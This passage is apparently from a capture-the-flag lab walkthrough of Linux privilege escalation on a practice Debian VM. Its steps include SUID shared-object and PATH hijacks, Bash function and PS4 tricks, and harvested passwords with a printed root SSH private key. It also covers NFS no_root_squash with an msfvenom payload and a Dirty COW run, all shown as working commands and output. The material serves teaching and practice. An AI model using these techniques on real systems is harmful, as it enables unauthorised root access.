3 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
  directory)
4 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or
  directory)
5 open("/etc/ld.so.cache", O_RDONLY) = 3
6 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
  directory)
7 open("/lib/libdl.so.2", O_RDONLY) = 3
8 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
  directory)
9 open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
10 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
  directory)
11 open("/lib/libm.so.6", O_RDONLY) = 3
12 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
  directory)
13 open("/lib/libgcc_s.so.1", O_RDONLY) = 3
14 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
  directory)

```

```

15 | open("/lib/libc.so.6", O_RDONLY)          = 3
16 | open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or
    | directory)
17 |

```

Note that the executable tries to load the `/home/user/.config/libcalc.so` shared object within our home directory, but it cannot be found.

Create the `.config` directory for the `libcalc.so` file:

```

1 | user@debian:~$ mkdir /home/user/.config
2 |

```

Example shared object code can be found at `/home/user/tools/suid/libcalc.c`.

```

1 | user@debian:~$ cat /home/user/tools/suid/libcalc.c
2 | #include <stdio.h>
3 | #include <stdlib.h>
4 |
5 | static void inject() __attribute__((constructor));
6 |
7 | void inject() {
8 |     setuid(0);
9 |     system("/bin/bash -p");
10 | }
11 |

```

It simply spawns a Bash shell. Compile the code into a shared object at the location the `suid-so` executable was looking for it:

```

1 | user@debian:~$ gcc -shared -fPIC -o /home/user/.config/libcalc.so
    | /home/user/tools/suid/libcalc.c
2 | user@debian:~$ ls -l /home/user/.config/
3 | total 8
4 | -rwxr-xr-x 1 user user 6134 Jul 12 06:45 libcalc.so
5 |

```

Execute the `suid-so` executable again, and note that this time, instead of a progress bar, we get a root shell.

```

1 | user@debian:~$ /usr/local/bin/suid-so
2 | Calculating something, please wait...
3 | bash-4.1# id
4 | uid=0(root) gid=1000(user) euid=50(staff)
    | groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
    | 000(user)
5 |

```


SUID / SGID Executables - Environment Variables

The `/usr/local/bin/suid-env` executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

```
1 user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
2 <snip>
3 -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
4 -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
5 -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
6
```

First, execute the file and note that it seems to be trying to start the apache2 webserver:

```
1 user@debian:~$ /usr/local/bin/suid-env
2 Starting web server: apache2httpd (pid 1569) already running
3 .
4
```

Run `strings` on the file to look for strings of printable characters:

```
1 user@debian:~$ strings /usr/local/bin/suid-env
2 /lib64/ld-linux-x86-64.so.2
3 5q;Xq
4 __gmon_start__
5 libc.so.6
6 setresgid
7 setresuid
8 system
9 __libc_start_main
10 GLIBC_2.2.5
11 fff.
12 ffffff.
13 l$ L
14 t$(L
15 |$0H
16 service apache2 start
17
```

One line ("service apache2 start") suggests that the `service` executable is being called to start the webserver, however the full path of the executable (`/usr/sbin/service`) is not being used.

Compile the code located at `/home/user/tools/suid/service.c` into an executable called `service`. This code simply spawns a Bash shell:

```
1 user@debian:~$ cat /home/user/tools/suid/service.c
2 int main() {
3     setuid(0);
4     system("/bin/bash -p");
5 }
6
```

```
1 user@debian:~$ gcc -o service /home/user/tools/suid/service.c
2
```

Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the `suid-env` executable to gain a root shell:

```
1 user@debian:~$ echo $PATH
2 /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr
  /local/sbin
3 user@debian:~$ PATH=.:$PATH /usr/local/bin/suid-env
4 root@debian:~# echo $PATH
5 .:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/u
  sr/local/sbin
6 root@debian:~# id
7 uid=0(root) gid=0(root)
  groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
  000(user)
8
```

SUID / SGID Executables - Abusing Shell Features (#1)

The `/usr/local/bin/suid-env2` executable is identical to `/usr/local/bin/suid-env` except that it uses the absolute path of the service executable (`/usr/sbin/service`) to start the apache2 webserver.

```
1 user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l
  {} \; 2>/dev/null
2 <snip>
3 -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
4 -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
5 -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
6
```

```
1 user@debian:~$ /usr/local/bin/suid-env2
2 Starting web server: apache2httpd (pid 1666) already running
3 .
4
```

Verify this with `strings`:

```
1 user@debian:~$ strings /usr/local/bin/suid-env2
2 /lib64/ld-linux-x86-64.so.2
3 __gmon_start__
4 libc.so.6
5 setresgid
6 setresuid
7 system
8 __libc_start_main
9 GLIBC_2.2.5
10 fff.
11 ffffff.
12 l$ L
13 t$(L
14 |$0H
```

```
15 | /usr/sbin/service apache2 start
16 |
```

In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

Verify the version of Bash installed on the Debian VM is less than 4.2-048:

```
1 | user@debian:~$ /bin/bash --version
2 | GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
3 | Copyright (C) 2009 Free Software Foundation, Inc.
4 | License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
5 |
6 | This is free software; you are free to change and redistribute it.
7 | There is NO WARRANTY, to the extent permitted by law.
8 |
```

Create a Bash function with the name `/usr/sbin/service` that executes a new Bash shell (using `-p` so permissions are preserved) and export the function:

```
1 | user@debian:~$ function /usr/sbin/service { /bin/bash -p; }
2 | user@debian:~$ export -f /usr/sbin/service
3 |
```

Run the `suid-env2` executable to gain a root shell:

```
1 | user@debian:~$ /usr/local/bin/suid-env2
2 | root@debian:~# id
3 | uid=0(root) gid=0(root)
4 | groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
5 |
```

SUID / SGID Executables - Abusing Shell Features (#2)

Note: This will not work on Bash versions 4.4 and above.

When in debugging mode, Bash uses the environment variable `PS4` to display an extra prompt for debugging statements.

Run the `/usr/local/bin/suid-env2` executable with bash debugging enabled and the `PS4` variable set to an embedded command which creates an SUID version of `/bin/bash`:

```
1 | user@debian:~$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;
2 |   chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
3 | /usr/sbin/service apache2 start
4 | basename /usr/sbin/service
5 | VERSION='service ver. 0.91-ubuntu1'
6 | basename /usr/sbin/service
7 | USAGE='Usage: service < option > | --status-all | [ service_name [ command |
8 |   --full-restart ] ]'
9 | SERVICE=
10 | ACTION=
11 | SERVICEDIR=/etc/init.d
```

```

10 OPTIONS=
11 '[' 2 -eq 0 ']'
12 cd /
13 '[' 2 -gt 0 ']'
14 case "${1}" in
15 '[' -z '' -a 2 -eq 1 -a apache2 = --status-all ']'
16 '[' 2 -eq 2 -a start = --full-restart ']'
17 '[' -z '' ']'
18 SERVICE=apache2
19 shift
20 '[' 1 -gt 0 ']'
21 case "${1}" in
22 '[' -z apache2 -a 1 -eq 1 -a start = --status-all ']'
23 '[' 1 -eq 2 -a '' = --full-restart ']'
24 '[' -z apache2 ']'
25 '[' -z '' ']'
26 ACTION=start
27 shift
28 '[' 0 -gt 0 ']'
29 '[' -r /etc/init/apache2.conf ']'
30 '[' -x /etc/init.d/apache2 ']'
31 exec env -i LANG=
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin TERM=dumb
/etc/init.d/apache2 start
32 Starting web server: apache2httpd (pid 1666) already running
33 .
34

```

Run the `/tmp/rootbash` executable with `-p` to gain a shell running with root privileges:

```

1 user@debian:~$ /tmp/rootbash -p
2 rootbash-4.1# id
3 uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
000(user)
4

```

Passwords & Keys - History Files

If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.

View the contents of all the hidden history files in the user's home directory:

```

1 user@debian:~$ cat ~/.*history | less
2 ls -al
3 cat .bash_history
4 ls -al
5 mysql -h somehost.local -uroot -ppassword123
6 exit
7 cd /tmp
8 clear
9 ifconfig
10 netstat -antp
11 nano myvpn.ovpn
12 ls

```

```
13 id
14 exit
15 id
16 rm /tmp/rootbash
17 exit
18 identify
19
20
21 (END)
22
```

Note that the user has tried to connect to a MySQL server at some point, using the "root" username and a password submitted via the command line. Note that there is no space between the -p option and the password!

Switch to the root user, using the password:

```
1 user@debian:~$ su root
2 Password:password123
3 root@debian:/home/user# id
4 uid=0(root) gid=0(root) groups=0(root)
5
```

Passwords & Keys - Config Files

Config files often contain passwords in plaintext or other reversible formats.

List the contents of the user's home directory:

```
1 user@debian:~$ ls /home/user
2 myvpn.ovpn  tools
3
```

Note the presence of a `myvpn.ovpn` config file. View the contents of the file:

```
1 user@debian:~$ cat /home/user/myvpn.ovpn
2 client
3 dev tun
4 proto udp
5 remote 10.10.10.10 1194
6 resolv-retry infinite
7 nobind
8 persist-key
9 persist-tun
10 ca ca.crt
11 tls-client
12 remote-cert-tls server
13 auth-user-pass /etc/openvpn/auth.txt
14 comp-lzo
15 verb 1
16 reneg-sec 0
17
```

The file should contain a reference to another location where the root user's credentials can be found. Switch to the root user, using the credentials:

```
1 user@debian:~$ cat /etc/openssh/authorized_keys
2 root
3 password123
4
```

```
1 user@debian:~$ su root
2 Password:password123
3 root@debian:/home/user# id
4 uid=0(root) gid=0(root) groups=0(root)
5
```

Passwords & Keys - Config Files

Sometimes users make backups of important files but fail to secure them with the correct permissions.

Look for hidden files & directories in the system root:

```
1 user@debian:~$ ls -la /
2 total 96
3 <snip>
4 drwxr-xr-x  2 root root  4096 Aug 25 2019 .ssh
5 drwxr-xr-x 13 root root    0 Aug  1 05:23 sys
6 drwxrwxrwt  2 root root  4096 Aug  1 06:01 tmp
7 drwxr-xr-x 11 root root  4096 May 13 2017 usr
8 drwxr-xr-x 14 root root  4096 May 13 2017 var
9 lrwxrwxrwx  1 root root    27 May 12 2017 vmlinuz -> boot/vmlinuz-2.6.32-5-
amd64
10
```

Note that there appears to be a hidden directory called `.ssh`. View the contents of the directory:

```
1 user@debian:~$ ls -l /.ssh
2 total 4
3 -rw-r--r--  1 root root 1679 Aug 25 2019 root_key
4
```

Note that there is a world-readable file called `root_key`. Further inspection of this file should indicate it is a private SSH key. The name of the file suggests it is for the root user.

Copy the key over to your Kali box (it's easier to just view the contents of the `root_key` file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it:

```
1 user@debian:~$ cat /.ssh/root_key
2 -----BEGIN RSA PRIVATE KEY-----
3 MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNm
4 gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpEx1
5 p4oSmTxYn00LDcsezWnhBZn0kljtGu9p+dmKbk40W4SWlTvU1LcEHRr6RgWMgQo
6 OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD
7 ev9G5JrjnVrDqSjhysUANmUTjUCTSsofUwLum+pU/dl9YckXJRp7Hgy/QkFKpFET
8 Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAOIBAQQDDWdSDppYA6uz2
9 NiMsEULYSD0z0HqQTjQZbbhZ0gkS6gFqa3VH20Cm6o8xSghdCB3JvXk+i8bBI5bZ
10 YaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+
```

```

11 5JNycuvvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244e1
12 WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1Vkf/2FFPvwi1JCCMUGS27avN7
13 VDFru8hDPCCMe3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLYZ4N7
14 6JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFx10kQ5y9rKeFwNu50nTIW
15 1X+343539fKICuPB0JY9Zk09d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNY3K
16 824ihKlQVDC9eYezWws2pqZk/Aq02IHS1zL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6
17 Wg070XE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc
18 U7LXiuDnCl5u+Pihbv73rPNZ0sixkklb5t3Jg10cvvYcL6hMRwLL4iqG8YDBm1K1
19 Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIAKFJSSt5Cu2GxIH51Zi
20 SXeaH906XF132aeU4V83ZGFVN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GV
21 d+oc5YlWXlE9bAvC+3nw8P+XPoKRfWPfUOXp46lf608zYQZgj3r+0XLd6JA561Im
22 jQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFA16t4njWnSUPVwbelhTDIyfa
23 871GglRskHs1SskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/ok
24 X2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4
25 CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm10vYeCML32EfN
26 Whp/Mr5B5GDmMHBRTKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgr4
27 LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiawNi7t9UNyayRmweji6phSw==
28 -----END RSA PRIVATE KEY-----
29

```

```

1 └─(l3ickey🐳kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2 └─$ chmod 600 root_key
3

```

Use the key to login to the Debian VM as the root account:

```

1 └─(l3ickey🐳kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2 └─$ ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o
   "HostKeyAlgorithms=+ssh-rsa" -o "PubkeyAcceptedKeyTypes=+ssh-rsa" -i
   root_key root@10.10.197.221 -p 22
3 Warning: Permanently added '10.10.197.221' (RSA) to the list of known hosts.
4 Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
5
6 The programs included with the Debian GNU/Linux system are free software;
7 the exact distribution terms for each program are described in the
8 individual files in /usr/share/doc/*/copyright.
9
10 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
11 permitted by applicable law.
12 Last login: Mon Aug  1 06:17:52 2022 from ip-10-4-70-23.eu-west-
   1.compute.internal
13 root@debian:~# id
14 uid=0(root) gid=0(root) groups=0(root)
15

```

NFS

Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

Check the NFS share configuration on the Debian VM:

```

1 user@debian:~$ cat /etc/exports
2 # /etc/exports: the access control list for filesystems which may be
   exported
3 #
   to NFS clients.  See exports(5).

```

```

4 #
5 # Example for NFSv2 and NFSv3:
6 # /srv/homes      hostname1(rw, sync, no_subtree_check)
   hostname2(ro, sync, no_subtree_check)
7 #
8 # Example for NFSv4:
9 # /srv/nfs4       gss/krb5i(rw, sync, fsid=0, crossmnt, no_subtree_check)
10 # /srv/nfs4/homes gss/krb5i(rw, sync, no_subtree_check)
11 #
12
13 /tmp *(rw, sync, insecure, no_root_squash, no_subtree_check)
14
15 #/tmp *(rw, sync, insecure, no_subtree_check)
16

```

Note that the `/tmp` share has root squashing disabled.

On your Kali box, switch to your root user if you are not already running as root:

```

1 ┌(l3ickey🐱kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2 └─$ sudo su
3
4 ┌(root🐼kali)-[/home/.../l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
5 └─#
6

```

Using Kali's root user, create a mount point on your Kali box and mount the `/tmp` share:

```

1 ┌(root🐼kali)-[/home/.../l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2 └─# systemctl start nfs-kernel-server
3
4 ┌(root🐼kali)-[/home/.../l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
5 └─# mkdir /tmp/nfs
6
7 ┌(root🐼kali)-[/home/.../l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
8 └─# mount -o rw,vers=2 10.10.197.221:/tmp /tmp/nfs
9 mount.nfs: requested NFS version or transport protocol is not supported
10
11 ┌(root🐼kali)-[/home/.../l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
12 └─# rpcinfo 10.10.197.221 | egrep "service|nfs"
13      program version netid      address      service      owner
14      100003    2      tcp      0.0.0.0.8.1  nfs         unknown
15      100003    3      tcp      0.0.0.0.8.1  nfs         unknown
16      100003    4      tcp      0.0.0.0.8.1  nfs         unknown
17      100003    2      udp      0.0.0.0.8.1  nfs         unknown
18      100003    3      udp      0.0.0.0.8.1  nfs         unknown
19      100003    4      udp      0.0.0.0.8.1  nfs         unknown
20
21 ┌(root🐼kali)-[/home/.../l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
22 └─# mount -o rw,vers=3 10.10.197.221:/tmp /tmp/nfs
23

```

Still using Kali's root user, generate a payload using `msfvenom` and save it to the mounted share (this payload simply calls `/bin/bash`):


```

1  └─(root@kali)-[/home/.../l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2  └─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o
   /tmp/nfs/shell.elf
3  [-] No platform was selected, choosing Msf::Module::Platform::Linux from the
   payload
4  [-] No arch selected, selecting arch: x86 from the payload
5  No encoder specified, outputting raw payload
6  Payload size: 48 bytes
7  Final size of elf file: 132 bytes
8  Saved as: /tmp/nfs/shell.elf
9

```

Still using Kali's root user, make the file executable and set the SUID permission:

```

1  └─(root@kali)-[/home/.../l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
2  └─# chmod +xs /tmp/nfs/shell.elf
3

```

Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:

```

1  user@debian:~$ /tmp/shell.elf
2  bash-4.1# id
3  uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
   groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
   000(user)
4

```

Kernel Exploits

Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.

Run the `linux-exploit-suggester-2.pl` tool to identify potential kernel exploits on the current system:

```

1  user@debian:~$ perl /home/user/tools/kernel-exploits/linux-exploit-
   suggester-2/linux-exploit-suggester-2.pl
2
3  #####
4  Linux Exploit Suggester 2
5  #####
6
7  Local Kernel: 2.6.32
8  Searching 72 exploits...
9
10 Possible Exploits
11 [1] american-sign-language
12     CVE-2010-4347
13     Source: http://www.securityfocus.com/bid/45408
14 [2] can_bcm
15     CVE-2010-2959
16     Source: http://www.exploit-db.com/exploits/14814
17 [3] dirty_cow
18     CVE-2016-5195
19     Source: http://www.exploit-db.com/exploits/40616

```

```

20 [4] exploit_x
21     CVE-2018-14665
22     Source: http://www.exploit-db.com/exploits/45697
23 [5] half_nelson1
24     Alt: econet          CVE-2010-3848
25     Source: http://www.exploit-db.com/exploits/17787
26 [6] half_nelson2
27     Alt: econet          CVE-2010-3850
28     Source: http://www.exploit-db.com/exploits/17787
29 [7] half_nelson3
30     Alt: econet          CVE-2010-4073
31     Source: http://www.exploit-db.com/exploits/17787
32 [8] msr
33     CVE-2013-0268
34     Source: http://www.exploit-db.com/exploits/27297
35 [9] pktcdvd
36     CVE-2010-3437
37     Source: http://www.exploit-db.com/exploits/15150
38 [10] ptrace_kmod2
39     Alt: ia32syscall,robert_you_suck    CVE-2010-3301
40     Source: http://www.exploit-db.com/exploits/15023
41 [11] rawmodePTY
42     CVE-2014-0196
43     Source: http://packetstormsecurity.com/files/download/126603/cve-2014-
0196-md.c
44 [12] rds
45     CVE-2010-3904
46     Source: http://www.exploit-db.com/exploits/15285
47 [13] reiserfs
48     CVE-2010-1146
49     Source: http://www.exploit-db.com/exploits/12130
50 [14] video4linux
51     CVE-2010-3081
52     Source: http://www.exploit-db.com/exploits/15024
53
54

```

The popular Linux kernel exploit "Dirty COW" should be listed. Exploit code for Dirty COW can be found at `/home/user/tools/kernel-exploits/dirtycow/c0w.c`. It replaces the SUID file `/usr/bin/passwd` with one that spawns a shell (a backup of `/usr/bin/passwd` is made at `/tmp/bak`).

Compile the code and run it (note that it may take several minutes to complete):

```

1 user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c
  -o c0w
2 user@debian:~$ ./c0w
3
4  (__)
5  (o o)____/
6  @@ `      \
7  \  _____, //usr/bin/passwd
8  //      //
9  ^^      ^^
10 DirtyCow root privilege escalation
11 Backing up /usr/bin/passwd to /tmp/bak
12 mmap d3d18000

```

```
13  
14   advise 0  
15  
16   ptrace 0  
17
```

Once the exploit completes, run `/usr/bin/passwd` to gain a root shell:

```
1 root@debian:/home/user# id  
2 uid=0(root) gid=1000(user)  
  groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1  
  000(user)  
3
```

Privilege Escalation Scripts

Several tools have been written which help find potential privilege escalations on Linux. Three of these tools have been included on the Debian VM in the following directory:

`/home/user/tools/privesc-scripts`

```
1 user@debian:~$ ls /home/user/tools/privesc-scripts/  
2 LinEnum.sh  linpeas.sh  lse.sh  
3
```

[LinEnum](#), [PEASS-ng](#), [linux-smart-enumeration](#)